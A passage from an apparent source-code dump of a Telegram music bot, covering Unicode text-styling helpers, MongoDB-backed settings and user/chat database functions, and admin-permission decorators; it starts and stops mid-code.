"U̸", "V": "V̸", "W": "W̸", "X": "X̸", "Y": "Y̸", "Z": "Z̸", } for i, j in style.items(): text = text.replace(i, j) return text def stop(text): style = { "a": "a⃠", "b": "b⃠", "c": "c⃠", "d": "d⃠", "e": "e⃠", "f": "f⃠", "g": "g⃠", "h": "h⃠", "i": "i⃠", "j": "j⃠", "k": "k⃠", "l": "l⃠", "m": "m⃠", "n": "n⃠", "o": "o⃠", "p": "p⃠", "q": "q⃠", "r": "r⃠", "s": "s⃠", "t": "t⃠", "u": "u⃠", "v": "v⃠", "w": "w⃠", "x": "x⃠", "y": "y⃠", "z": "z⃠", "A": "A⃠", "B": "B⃠", "C": "C⃠", "D": "D⃠", "E": "E⃠", "F": "F⃠", "G": "G⃠", "H": "H⃠", "I": "I⃠", "J": "J⃠", "K": "K⃠", "L": "L⃠", "M": "M⃠", "N": "N⃠", "O": "O⃠", "P": "P⃠", "Q": "Q⃠", "R": "R⃠", "S": "S⃠", "T": "T⃠", "U": "U⃠", "V": "V⃠", "W": "W⃠", "X": "X⃠", "Y": "Y⃠", "Z": "Z⃠", } for i, j in style.items(): text = text.replace(i, j) return text def skyline(text): style = { "a": "a̺͆", "b": "b̺͆", "c": "c̺͆", "d": "d̺͆", "e": "e̺͆", "f": "f̺͆", "g": "g̺͆", "h": "h̺͆", "i": "i̺͆", "j": "j̺͆", "k": "k̺͆", "l": "l̺͆", "m": "m̺͆", "n": "n̺͆", "o": "o̺͆", "p": "p̺͆", "q": "q̺͆", "r": "r̺͆", "s": "s̺͆", "t": "t̺͆", "u": "u̺͆", "v": "v̺͆", "w": "w̺͆", "x": "x̺͆", "y": "y̺͆", "z": "z̺͆", "A": "A̺͆", "B": "B̺͆", "C": "C̺͆", "D": "D̺͆", "E": "E̺͆", "F": "F̺͆", "G": "G̺͆", "H": "H̺͆", "I": "I̺͆", "J": "J̺͆", "K": "K̺͆", "L": "L̺͆", "M": "M̺͆", "N": "N̺͆", "O": "O̺͆", "P": "P̺͆", "Q": "Q̺͆", "R": "R̺͆", "S": "S̺͆", "T": "T̺͆", "U": "U̺͆", "V": "V̺͆", "W": "W̺͆", "X": "X̺͆", "Y": "Y̺͆", "Z": "Z̺͆", } for i, j in style.items(): text = text.replace(i, j) return text def arrows(text): style = { "a": "a͎", "b": "b͎", "c": "c͎", "d": "d͎", "e": "e͎", "f": "f͎", "g": "g͎", "h": "h͎", "i": "i͎", "j": "j͎", "k": "k͎", "l": "l͎", "m": "m͎", "n": "n͎", "o": "o͎", "p": "p͎", "q": "q͎", "r": "r͎", "s": "s͎", "t": "t͎", "u": "u͎", "v": "v͎", "w": "w͎", "x": "x͎", "y": "y͎", "z": "z͎", "A": "A͎", "B": "B͎", "C": "C͎", "D": "D͎", "E": "E͎", "F": "F͎", "G": "G͎", "H": "H͎", "I": "I͎", "J": "J͎", "K": "K͎", "L": "L͎", "M": "M͎", "N": "N͎", "O": "O͎", "P": "P͎", "Q": "Q͎", "R": "R͎", "S": "S͎", "T": "T͎", "U": "U͎", "V": "V͎", "W": "W͎", "X": "X͎", "Y": "Y͎", "Z": "Z͎", } for i, j in style.items(): text = text.replace(i, j) return text def rvnes(text): style = { "a": "ል", "b": "ጌ", "c": "ር", "d": "ዕ", "e": "ቿ", "f": "ቻ", "g": "ኗ", "h": "ዘ", "i": "ጎ", "j": "ጋ", "k": "ጕ", "l": "ረ", "m": "ጠ", "n": "ክ", "o": "ዐ", "p": "የ", "q": "ዒ", "r": "ዪ", "s": "ነ", "t": "ፕ", "u": "ሁ", "v": "ሀ", "w": "ሠ", "x": "ሸ", "y": "ሃ", "z": "ጊ", "A": "ል", "B": "ጌ", "C": "ር", "D": "ዕ", "E": "ቿ", "F": "ቻ", "G": "ኗ", "H": "ዘ", "I": "ጎ", "J": "ጋ", "K": "ጕ", "L": "ረ", "M": "ጠ", "N": "ክ", "O": "ዐ", "P": "የ", "Q": "ዒ", "R": "ዪ", "S": "ነ", "T": "ፕ", "U": "ሁ", "V": "ሀ", "W": "ሠ", "X": "ሸ", "Y": "ሃ", "Z": "ጊ", } for i, j in style.items(): text = text.replace(i, j) return text def strike(text): style = { "a": "a̶", "b": "b̶", "c": "c̶", "d": "d̶", "e": "e̶", "f": "f̶", "g": "g̶", "h": "h̶", "i": "i̶", "j": "j̶", "k": "k̶", "l": "l̶", "m": "m̶", "n": "n̶", "o": "o̶", "p": "p̶", "q": "q̶", "r": "r̶", "s": "s̶", "t": "t̶", "u": "u̶", "v": "v̶", "w": "w̶", "x": "x̶", "y": "y̶", "z": "z̶", "A": "A̶", "B": "B̶", "C": "C̶", "D": "D̶", "E": "E̶", "F": "F̶", "G": "G̶", "H": "H̶", "I": "I̶", "J": "J̶", "K": "K̶", "L": "L̶", "M": "M̶", "N": "N̶", "O": "O̶", "P": "P̶", "Q": "Q̶", "R": "R̶", "S": "S̶", "T": "T̶", "U": "U̶", "V": "V̶", "W": "W̶", "X": "X̶", "Y": "Y̶", "Z": "Z̶", } for i, j in style.items(): text = text.replace(i, j) return text def frozen(text): style = { "a": "a༙", "b": "b༙", "c": "c༙", "d": "d༙", "e": "e༙", "f": "f༙", "g": "g༙", "h": "h༙", "i": "i༙", "j": "j༙", "k": "k༙", "l": "l༙", "m": "m༙", "n": "n༙", "o": "o༙", "p": "p༙", "q": "q༙", "r": "r༙", "s": "s༙", "t": "t༙", "u": "u༙", "v": "v༙", "w": "w༙", "x": "x༙", "y": "y༙", "z": "z༙", "A": "A༙", "B": "B༙", "C": "C༙", "D": "D༙", "E": "E༙", "F": "F༙", "G": "G༙", "H": "H༙", "I": "I༙", "J": "J༙", "K": "K༙", "L": "L༙", "M": "M༙", "N": "N༙", "O": "O༙", "P": "P༙", "Q": "Q༙", "R": "R༙", "S": "S༙", "T": "T༙", "U": "U༙", "V": "V༙", "W": "W༙", "X": "X༙", "Y": "Y༙", "Z": "Z༙", } for i, j in style.items(): text = text.replace(i, j) return text ================================================ FILE: BrandrdXMusic/utils/channelplay.py ================================================ from BrandrdXMusic import app from BrandrdXMusic.utils.database import get_cmode async def get_channeplayCB(_, command, CallbackQuery): if command == "c": chat_id = await get_cmode(CallbackQuery.message.chat.id) if chat_id is None: try: return await CallbackQuery.answer(_["setting_7"], show_alert=True) except: return try: channel = (await app.get_chat(chat_id)).title except: try: return await CallbackQuery.answer(_["cplay_4"], show_alert=True) except: return else: chat_id = CallbackQuery.message.chat.id channel = None return chat_id, channel ================================================ FILE: BrandrdXMusic/utils/cmdforac.py ================================================ from typing import Union, List from pyrogram import filters other_filters = filters.group & ~filters.via_bot & ~filters.forwarded other_filters2 = ( filters.private & ~filters.via_bot & ~filters.forwarded ) def avoice(commands: Union[str, List[str]]): return filters.command(commands, "") ================================================ FILE: BrandrdXMusic/utils/database.py ================================================ import random from typing import Dict, List, Union from BrandrdXMusic import userbot from BrandrdXMusic.core.mongo import mongodb, pymongodb authdb = mongodb.adminauth authuserdb = mongodb.authuser autoenddb = mongodb.autoend assdb = mongodb.assistants blacklist_chatdb = mongodb.blacklistChat blockeddb = mongodb.blockedusers chatsdb = mongodb.chats channeldb = mongodb.cplaymode countdb = mongodb.upcount gbansdb = mongodb.gban langdb = mongodb.language onoffdb = mongodb.onoffper playmodedb = mongodb.playmode playtypedb = mongodb.playtypedb skipdb = mongodb.skipmode sudoersdb = mongodb.sudoers usersdb = mongodb.tgusersdb privatedb = mongodb.privatechats suggdb = mongodb.suggestion cleandb = mongodb.cleanmode queriesdb = mongodb.queries userdb = mongodb.userstats videodb = mongodb.vipvideocalls chatsdbc = mongodb.chatsc # for clone usersdbc = mongodb.tgusersdbc # for clone # Shifting to memory [mongo sucks often] active = [] activevideo = [] assistantdict = {} autoend = {} count = {} channelconnect = {} langm = {} loop = {} maintenance = [] nonadmin = {} pause = {} playmode = {} playtype = {} skipmode = {} privatechats = {} cleanmode = [] suggestion = {} mute = {} audio = {} video = {} # Total Queries on bot async def get_queries() -> int: chat_id = 98324 mode = await queriesdb.find_one({"chat_id": chat_id}) if not mode: return 0 return mode["mode"] async def set_queries(mode: int): chat_id = 98324 queries = await queriesdb.find_one({"chat_id": chat_id}) if queries: mode = queries["mode"] + mode return await queriesdb.update_one( {"chat_id": chat_id}, {"$set": {"mode": mode}}, upsert=True ) # Top Chats DB async def get_top_chats() -> dict: results = {} async for chat in chattopdb.find({"chat_id": {"$lt": 0}}): chat_id = chat["chat_id"] total = 0 for i in chat["vidid"]: counts_ = chat["vidid"][i]["spot"] if counts_ > 0: total += counts_ results[chat_id] = total return results async def get_global_tops() -> dict: results = {} async for chat in chattopdb.find({"chat_id": {"$lt": 0}}): for i in chat["vidid"]: counts_ = chat["vidid"][i]["spot"] title_ = chat["vidid"][i]["title"] if counts_ > 0: if i not in results: results[i] = {} results[i]["spot"] = counts_ results[i]["title"] = title_ else: spot = results[i]["spot"] count_ = spot + counts_ results[i]["spot"] = count_ return results async def get_particulars(chat_id: int) -> Dict[str, int]: ids = await chattopdb.find_one({"chat_id": chat_id}) if not ids: return {} return ids["vidid"] async def get_particular_top(chat_id: int, name: str) -> Union[bool, dict]: ids = await get_particulars(chat_id) if name in ids: return ids[name] async def update_particular_top(chat_id: int, name: str, vidid: dict): ids = await get_particulars(chat_id) ids[name] = vidid await chattopdb.update_one( {"chat_id": chat_id}, {"$set": {"vidid": ids}}, upsert=True ) # Top User DB async def get_userss(chat_id: int) -> Dict[str, int]: ids = await userdb.find_one({"chat_id": chat_id}) if not ids: return {} return ids["vidid"] async def get_user_top(chat_id: int, name: str) -> Union[bool, dict]: ids = await get_userss(chat_id) if name in ids: return ids[name] async def update_user_top(chat_id: int, name: str, vidid: dict): ids = await get_userss(chat_id) ids[name] = vidid await userdb.update_one({"chat_id": chat_id}, {"$set": {"vidid": ids}}, upsert=True) async def get_topp_users() -> dict: results = {} async for chat in userdb.find({"chat_id": {"$gt": 0}}): user_id = chat["chat_id"] total = 0 for i in chat["vidid"]: counts_ = chat["vidid"][i]["spot"] if counts_ > 0: total += counts_ results[user_id] = total return results async def get_assistant_number(chat_id: int) -> str: assistant = assistantdict.get(chat_id) return assistant async def get_client(assistant: int): if int(assistant) == 1: return userbot.one elif int(assistant) == 2: return userbot.two elif int(assistant) == 3: return userbot.three elif int(assistant) == 4: return userbot.four elif int(assistant) == 5: return userbot.five async def set_assistant_new(chat_id, number): number = int(number) await assdb.update_one( {"chat_id": chat_id}, {"$set": {"assistant": number}}, upsert=True, ) async def set_assistant(chat_id): from BrandrdXMusic.core.userbot import assistants ran_assistant = random.choice(assistants) assistantdict[chat_id] = ran_assistant await assdb.update_one( {"chat_id": chat_id}, {"$set": {"assistant": ran_assistant}}, upsert=True, ) userbot = await get_client(ran_assistant) return userbot async def get_assistant(chat_id: int) -> str: from BrandrdXMusic.core.userbot import assistants assistant = assistantdict.get(chat_id) if not assistant: dbassistant = await assdb.find_one({"chat_id": chat_id}) if not dbassistant: userbot = await set_assistant(chat_id) return userbot else: got_assis = dbassistant["assistant"] if got_assis in assistants: assistantdict[chat_id] = got_assis userbot = await get_client(got_assis) return userbot else: userbot = await set_assistant(chat_id) return userbot else: if assistant in assistants: userbot = await get_client(assistant) return userbot else: userbot = await set_assistant(chat_id) return userbot async def set_calls_assistant(chat_id): from BrandrdXMusic.core.userbot import assistants ran_assistant = random.choice(assistants) assistantdict[chat_id] = ran_assistant await assdb.update_one( {"chat_id": chat_id}, {"$set": {"assistant": ran_assistant}}, upsert=True, ) return ran_assistant async def group_assistant(self, chat_id: int) -> int: from BrandrdXMusic.core.userbot import assistants assistant = assistantdict.get(chat_id) if not assistant: dbassistant = await assdb.find_one({"chat_id": chat_id}) if not dbassistant: assis = await set_calls_assistant(chat_id) else: assis = dbassistant["assistant"] if assis in assistants: assistantdict[chat_id] = assis assis = assis else: assis = await set_calls_assistant(chat_id) else: if assistant in assistants: assis = assistant else: assis = await set_calls_assistant(chat_id) if int(assis) == 1: return self.one elif int(assis) == 2: return self.two elif int(assis) == 3: return self.three elif int(assis) == 4: return self.four elif int(assis) == 5: return self.five async def is_skipmode(chat_id: int) -> bool: mode = skipmode.get(chat_id) if not mode: user = await skipdb.find_one({"chat_id": chat_id}) if not user: skipmode[chat_id] = True return True skipmode[chat_id] = False return False return mode async def skip_on(chat_id: int): skipmode[chat_id] = True user = await skipdb.find_one({"chat_id": chat_id}) if user: return await skipdb.delete_one({"chat_id": chat_id}) async def skip_off(chat_id: int): skipmode[chat_id] = False user = await skipdb.find_one({"chat_id": chat_id}) if not user: return await skipdb.insert_one({"chat_id": chat_id}) async def get_upvote_count(chat_id: int) -> int: mode = count.get(chat_id) if not mode: mode = await countdb.find_one({"chat_id": chat_id}) if not mode: return 5 count[chat_id] = mode["mode"] return mode["mode"] return mode async def set_upvotes(chat_id: int, mode: int): count[chat_id] = mode await countdb.update_one( {"chat_id": chat_id}, {"$set": {"mode": mode}}, upsert=True ) async def is_autoend() -> bool: chat_id = 1234 user = await autoenddb.find_one({"chat_id": chat_id}) if not user: return False return True async def autoend_on(): chat_id = 1234 await autoenddb.insert_one({"chat_id": chat_id}) async def autoend_off(): chat_id = 1234 await autoenddb.delete_one({"chat_id": chat_id}) async def get_loop(chat_id: int) -> int: lop = loop.get(chat_id) if not lop: return 0 return lop async def set_loop(chat_id: int, mode: int): loop[chat_id] = mode async def get_cmode(chat_id: int) -> int: mode = channelconnect.get(chat_id) if not mode: mode = await channeldb.find_one({"chat_id": chat_id}) if not mode: return None channelconnect[chat_id] = mode["mode"] return mode["mode"] return mode async def set_cmode(chat_id: int, mode: int): channelconnect[chat_id] = mode await channeldb.update_one( {"chat_id": chat_id}, {"$set": {"mode": mode}}, upsert=True ) async def get_playtype(chat_id: int) -> str: mode = playtype.get(chat_id) if not mode: mode = await playtypedb.find_one({"chat_id": chat_id}) if not mode: playtype[chat_id] = "Everyone" return "Everyone" playtype[chat_id] = mode["mode"] return mode["mode"] return mode async def set_playtype(chat_id: int, mode: str): playtype[chat_id] = mode await playtypedb.update_one( {"chat_id": chat_id}, {"$set": {"mode": mode}}, upsert=True ) async def get_playmode(chat_id: int) -> str: mode = playmode.get(chat_id) if not mode: mode = await playmodedb.find_one({"chat_id": chat_id}) if not mode: playmode[chat_id] = "Direct" return "Direct" playmode[chat_id] = mode["mode"] return mode["mode"] return mode async def set_playmode(chat_id: int, mode: str): playmode[chat_id] = mode await playmodedb.update_one( {"chat_id": chat_id}, {"$set": {"mode": mode}}, upsert=True ) async def get_lang(chat_id: int) -> str: mode = langm.get(chat_id) if not mode: lang = await langdb.find_one({"chat_id": chat_id}) if not lang: langm[chat_id] = "en" return "en" langm[chat_id] = lang["lang"] return lang["lang"] return mode async def set_lang(chat_id: int, lang: str): langm[chat_id] = lang await langdb.update_one({"chat_id": chat_id}, {"$set": {"lang": lang}}, upsert=True) async def is_music_playing(chat_id: int) -> bool: mode = pause.get(chat_id) if not mode: return False return mode async def music_on(chat_id: int): pause[chat_id] = True async def music_off(chat_id: int): pause[chat_id] = False # Muted async def is_muted(chat_id: int) -> bool: mode = mute.get(chat_id) if not mode: return False return mode async def mute_on(chat_id: int): mute[chat_id] = True async def mute_off(chat_id: int): mute[chat_id] = False async def get_active_chats() -> list: return active async def is_active_chat(chat_id: int) -> bool: if chat_id not in active: return False else: return True async def add_active_chat(chat_id: int): if chat_id not in active: active.append(chat_id) async def remove_active_chat(chat_id: int): if chat_id in active: active.remove(chat_id) async def get_active_video_chats() -> list: return activevideo async def is_active_video_chat(chat_id: int) -> bool: if chat_id not in activevideo: return False else: return True async def add_active_video_chat(chat_id: int): if chat_id not in activevideo: activevideo.append(chat_id) async def remove_active_video_chat(chat_id: int): if chat_id in activevideo: activevideo.remove(chat_id) async def check_nonadmin_chat(chat_id: int) -> bool: user = await authdb.find_one({"chat_id": chat_id}) if not user: return False return True async def is_nonadmin_chat(chat_id: int) -> bool: mode = nonadmin.get(chat_id) if not mode: user = await authdb.find_one({"chat_id": chat_id}) if not user: nonadmin[chat_id] = False return False nonadmin[chat_id] = True return True return mode async def add_nonadmin_chat(chat_id: int): nonadmin[chat_id] = True is_admin = await check_nonadmin_chat(chat_id) if is_admin: return return await authdb.insert_one({"chat_id": chat_id}) async def remove_nonadmin_chat(chat_id: int): nonadmin[chat_id] = False is_admin = await check_nonadmin_chat(chat_id) if not is_admin: return return await authdb.delete_one({"chat_id": chat_id}) async def is_on_off(on_off: int) -> bool: onoff = await onoffdb.find_one({"on_off": on_off}) if not onoff: return False return True async def add_on(on_off: int): is_on = await is_on_off(on_off) if is_on: return return await onoffdb.insert_one({"on_off": on_off}) async def add_off(on_off: int): is_off = await is_on_off(on_off) if not is_off: return return await onoffdb.delete_one({"on_off": on_off}) async def is_maintenance(): if not maintenance: get = await onoffdb.find_one({"on_off": 1}) if not get: maintenance.clear() maintenance.append(2) return True else: maintenance.clear() maintenance.append(1) return False else: if 1 in maintenance: return False else: return True async def maintenance_off(): maintenance.clear() maintenance.append(2) is_off = await is_on_off(1) if not is_off: return return await onoffdb.delete_one({"on_off": 1}) async def maintenance_on(): maintenance.clear() maintenance.append(1) is_on = await is_on_off(1) if is_on: return return await onoffdb.insert_one({"on_off": 1}) async def is_served_user(user_id: int) -> bool: user = await usersdb.find_one({"user_id": user_id}) if not user: return False return True async def get_served_users() -> list: users_list = [] async for user in usersdb.find({"user_id": {"$gt": 0}}): users_list.append(user) return users_list async def add_served_user(user_id: int): is_served = await is_served_user(user_id) if is_served: return return await usersdb.insert_one({"user_id": user_id}) async def get_served_chats() -> list: chats_list = [] async for chat in chatsdb.find({"chat_id": {"$lt": 0}}): chats_list.append(chat) return chats_list async def is_served_chat(chat_id: int) -> bool: chat = await chatsdb.find_one({"chat_id": chat_id}) if not chat: return False return True async def add_served_chat(chat_id: int): is_served = await is_served_chat(chat_id) if is_served: return return await chatsdb.insert_one({"chat_id": chat_id}) async def delete_served_chat(chat_id: int): await chatsdb.delete_one({"chat_id": chat_id}) async def blacklisted_chats() -> list: chats_list = [] async for chat in blacklist_chatdb.find({"chat_id": {"$lt": 0}}): chats_list.append(chat["chat_id"]) return chats_list async def blacklist_chat(chat_id: int) -> bool: if not await blacklist_chatdb.find_one({"chat_id": chat_id}): await blacklist_chatdb.insert_one({"chat_id": chat_id}) return True return False async def whitelist_chat(chat_id: int) -> bool: if await blacklist_chatdb.find_one({"chat_id": chat_id}): await blacklist_chatdb.delete_one({"chat_id": chat_id}) return True return False async def _get_authusers(chat_id: int) -> Dict[str, int]: _notes = await authuserdb.find_one({"chat_id": chat_id}) if not _notes: return {} return _notes["notes"] async def get_authuser_names(chat_id: int) -> List[str]: _notes = [] for note in await _get_authusers(chat_id): _notes.append(note) return _notes async def get_authuser(chat_id: int, name: str) -> Union[bool, dict]: name = name _notes = await _get_authusers(chat_id) if name in _notes: return _notes[name] else: return False async def save_authuser(chat_id: int, name: str, note: dict): name = name _notes = await _get_authusers(chat_id) _notes[name] = note await authuserdb.update_one( {"chat_id": chat_id}, {"$set": {"notes": _notes}}, upsert=True ) async def delete_authuser(chat_id: int, name: str) -> bool: notesd = await _get_authusers(chat_id) name = name if name in notesd: del notesd[name] await authuserdb.update_one( {"chat_id": chat_id}, {"$set": {"notes": notesd}}, upsert=True, ) return True return False async def get_gbanned() -> list: results = [] async for user in gbansdb.find({"user_id": {"$gt": 0}}): user_id = user["user_id"] results.append(user_id) return results async def is_gbanned_user(user_id: int) -> bool: user = await gbansdb.find_one({"user_id": user_id}) if not user: return False return True async def add_gban_user(user_id: int): is_gbanned = await is_gbanned_user(user_id) if is_gbanned: return return await gbansdb.insert_one({"user_id": user_id}) async def remove_gban_user(user_id: int): is_gbanned = await is_gbanned_user(user_id) if not is_gbanned: return return await gbansdb.delete_one({"user_id": user_id}) async def get_sudoers() -> list: sudoers = await sudoersdb.find_one({"sudo": "sudo"}) if not sudoers: return [] return sudoers["sudoers"] async def add_sudo(user_id: int) -> bool: sudoers = await get_sudoers() sudoers.append(user_id) await sudoersdb.update_one( {"sudo": "sudo"}, {"$set": {"sudoers": sudoers}}, upsert=True ) return True async def remove_sudo(user_id: int) -> bool: sudoers = await get_sudoers() sudoers.remove(user_id) await sudoersdb.update_one( {"sudo": "sudo"}, {"$set": {"sudoers": sudoers}}, upsert=True ) return True async def get_banned_users() -> list: results = [] async for user in blockeddb.find({"user_id": {"$gt": 0}}): user_id = user["user_id"] results.append(user_id) return results async def get_banned_count() -> int: users = blockeddb.find({"user_id": {"$gt": 0}}) users = await users.to_list(length=100000) return len(users) async def is_banned_user(user_id: int) -> bool: user = await blockeddb.find_one({"user_id": user_id}) if not user: return False return True async def add_banned_user(user_id: int): is_gbanned = await is_banned_user(user_id) if is_gbanned: return return await blockeddb.insert_one({"user_id": user_id}) async def remove_banned_user(user_id: int): is_gbanned = await is_banned_user(user_id) if not is_gbanned: return return await blockeddb.delete_one({"user_id": user_id}) # Private Served Chats async def get_private_served_chats() -> list: chats_list = [] async for chat in privatedb.find({"chat_id": {"$lt": 0}}): chats_list.append(chat) return chats_list async def is_served_private_chat(chat_id: int) -> bool: chat = await privatedb.find_one({"chat_id": chat_id}) if not chat: return False return True async def add_private_chat(chat_id: int): is_served = await is_served_private_chat(chat_id) if is_served: return return await privatedb.insert_one({"chat_id": chat_id}) async def remove_private_chat(chat_id: int): is_served = await is_served_private_chat(chat_id) if not is_served: return return await privatedb.delete_one({"chat_id": chat_id}) # SUGGESTION async def is_suggestion(chat_id: int) -> bool: mode = suggestion.get(chat_id) if not mode: user = await suggdb.find_one({"chat_id": chat_id}) if not user: suggestion[chat_id] = True return True suggestion[chat_id] = False return False return mode async def suggestion_on(chat_id: int): suggestion[chat_id] = True user = await suggdb.find_one({"chat_id": chat_id}) if user: return await suggdb.delete_one({"chat_id": chat_id}) async def suggestion_off(chat_id: int): suggestion[chat_id] = False user = await suggdb.find_one({"chat_id": chat_id}) if not user: return await suggdb.insert_one({"chat_id": chat_id}) # Clean Mode async def is_cleanmode_on(chat_id: int) -> bool: if chat_id not in cleanmode: return True else: return False async def cleanmode_off(chat_id: int): if chat_id not in cleanmode: cleanmode.append(chat_id) async def cleanmode_on(chat_id: int): try: cleanmode.remove(chat_id) except: pass # Audio Video Limit """ from pytgcalls.types import AudioQuality, VideoQuality async def save_audio_bitrate(chat_id: int, bitrate: str): audio[chat_id] = bitrate async def save_video_bitrate(chat_id: int, bitrate: str): video[chat_id] = bitrate async def get_aud_bit_name(chat_id: int) -> str: mode = audio.get(chat_id) if not mode: return "HIGH" return mode async def get_vid_bit_name(chat_id: int) -> str: mode = video.get(chat_id) if not mode: if PRIVATE_BOT_MODE == str(True): return "HD_720p" else: return "HD_720p" return mode async def get_audio_bitrate(chat_id: int) -> str: mode = audio.get(chat_id) if not mode: return AudioQuality.STUDIO if str(mode) == "STUDIO": return AudioQuality.STUDIO elif str(mode) == "HIGH": return AudioQuality.HIGH elif str(mode) == "MEDIUM": return AudioQuality.MEDIUM elif str(mode) == "LOW": return AudioQuality.LOW async def get_video_bitrate(chat_id: int) -> str: mode = video.get(chat_id) if not mode: if PRIVATE_BOT_MODE == str(True): return VideoQuality.FHD_1080p else: return VideoQuality.HD_720p if str(mode) == "UHD_4K": return VideoQuality.UHD_4K elif str(mode) == "QHD_2K": return VideoQuality.QHD_2K elif str(mode) == "FHD_1080p": return VideoQuality.FHD_1080p elif str(mode) == "HD_720p": return VideoQuality.HD_720p elif str(mode) == "SD_480p": return VideoQuality.SD_480p elif str(mode) == "SD_360p": return VideoQuality.SD_360p""" async def is_served_user_clone(user_id: int) -> bool: user = await usersdbc.find_one({"user_id": user_id}) if not user: return False return True async def get_served_users_clone() -> list: users_list = [] async for user in usersdbc.find({"user_id": {"$gt": 0}}): users_list.append(user) return users_list async def add_served_user_clone(user_id: int): is_served = await is_served_user(user_id) if is_served: return return await usersdbc.insert_one({"user_id": user_id}) async def get_served_chats_clone() -> list: chats_list = [] async for chat in chatsdbc.find({"chat_id": {"$lt": 0}}): chats_list.append(chat) return chats_list async def is_served_chat_clone(chat_id: int) -> bool: chat = await chatsdbc.find_one({"chat_id": chat_id}) if not chat: return False return True async def add_served_chat_clone(chat_id: int): is_served = await is_served_chat(chat_id) if is_served: return return await chatsdbc.insert_one({"chat_id": chat_id}) async def delete_served_chat_clone(chat_id: int): await chatsdbc.delete_one({"chat_id": chat_id}) ================================================ FILE: BrandrdXMusic/utils/decorators/__init__.py ================================================ from .admins import * from .language import * ================================================ FILE: BrandrdXMusic/utils/decorators/admins.py ================================================ from pyrogram.enums import ChatType from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup from BrandrdXMusic import app from BrandrdXMusic.misc import SUDOERS, db from BrandrdXMusic.utils.database import ( get_authuser_names, get_cmode, get_lang, get_upvote_count, is_active_chat, is_maintenance, is_nonadmin_chat, is_skipmode, ) from config import SUPPORT_CHAT, adminlist, confirmer from strings import get_string from ..formatters import int_to_alpha def AdminRightsCheck(mystic): async def wrapper(client, message): if await is_maintenance() is False: if message.from_user.id not in SUDOERS: return await message.reply_text( text=f"{app.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.", disable_web_page_preview=True, ) try: await message.delete() except: pass try: language = await get_lang(message.chat.id) _ = get_string(language) except: _ = get_string("en") if message.sender_chat: upl = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text="ʜᴏᴡ ᴛᴏ ғɪx ?", callback_data="AnonymousAdmin", ), ] ] ) return await message.reply_text(_["general_3"], reply_markup=upl) if message.command[0][0] == "c": chat_id = await get_cmode(message.chat.id) if chat_id is None: return await message.reply_text(_["setting_7"]) try: await app.get_chat(chat_id) except: return await message.reply_text(_["cplay_4"]) else: chat_id = message.chat.id if not await is_active_chat(chat_id): return await message.reply_text(_["general_5"]) is_non_admin = await is_nonadmin_chat(message.chat.id) if not is_non_admin: if message.from_user.id not in SUDOERS: admins = adminlist.get(message.chat.id) if not admins: return await message.reply_text(_["admin_13"]) else: if message.from_user.id not in admins: if await is_skipmode(message.chat.id): upvote = await get_upvote_count(chat_id) text = f"""ᴀᴅᴍɪɴ ʀɪɢʜᴛs ɴᴇᴇᴅᴇᴅ ʀᴇғʀᴇsʜ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴠɪᴀ : /reload » {upvote} ᴠᴏᴛᴇs ɴᴇᴇᴅᴇᴅ ғᴏʀ ᴘᴇʀғᴏʀᴍɪɴɢ ᴛʜɪs ᴀᴄᴛɪᴏɴ.""" command = message.command[0] if command[0] == "c": command = command[1:] if command == "speed": return await message.reply_text(_["admin_14"]) MODE = command.title() upl = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text="ᴠᴏᴛᴇ", callback_data=f"ADMIN UpVote|{chat_id}_{MODE}", ), ] ] ) if chat_id not in confirmer: confirmer[chat_id] = {} try: vidid = db[chat_id][0]["vidid"] file = db[chat_id][0]["file"] except: return await message.reply_text(_["admin_14"]) senn = await message.reply_text(text, reply_markup=upl) confirmer[chat_id][senn.id] = { "vidid": vidid, "file": file, } return else: return await message.reply_text(_["admin_14"]) return await mystic(client, message, _, chat_id) return wrapper def AdminActual(mystic): async def wrapper(client, message): if await is_maintenance() is False: if message.from_user.id not in SUDOERS: return await message.reply_text( text=f"{app.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.", disable_web_page_preview=True, ) try: await message.delete() except: pass try: language = await get_lang(message.chat.id) _ = get_string(language) except: _ = get_string("en") if message.sender_chat: upl = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text="ʜᴏᴡ ᴛᴏ ғɪx ?", callback_data="AnonymousAdmin", ), ] ] ) return await message.reply_text(_["general_3"], reply_markup=upl) if message.from_user.id not in SUDOERS: try: member = ( await app.get_chat_member(message.chat.id, message.from_user.id) ).privileges except: return if not member.can_manage_video_chats: return await message.reply(_["general_4"]) return await mystic(client, message, _) return wrapper def ActualAdminCB(mystic): async def wrapper(client, CallbackQuery): if await is_maintenance() is False: if CallbackQuery.from_user.id not in SUDOERS: return await CallbackQuery.answer( f"{app.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.", show_alert=True, ) try: language = await get_lang(CallbackQuery.message.chat.id) _ = get_string(language) except: _ = get_string("en") if CallbackQuery.message.chat.type == ChatType.PRIVATE: return await mystic(client, CallbackQuery, _) is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id) if not is_non_admin: try: a = ( await app.get_chat_member( CallbackQuery.message.chat.id, CallbackQuery.from_user.id, ) ).privileges except: return await CallbackQuery.answer(_["general_4"], show_alert=True) if not a.can_manage_video_chats: if CallbackQuery.from_user.id not in SUDOERS: token = await int_to_alpha(CallbackQuery.from_user.id) _check = await get_authuser_names(CallbackQuery.from_user.id) if token not in _check: try: return await CallbackQuery.answer( _["general_4"], show_alert=True, ) except: return return await mystic(client, CallbackQuery, _) return wrapper ================================================ FILE: BrandrdXMusic/utils/decorators/language.py ================================================ from strings import get_string from BrandrdXMusic.misc import SUDOERS from BrandrdXMusic.utils.database import (get_lang, is_maintenance) def language(mystic): async def wrapper(_, message, 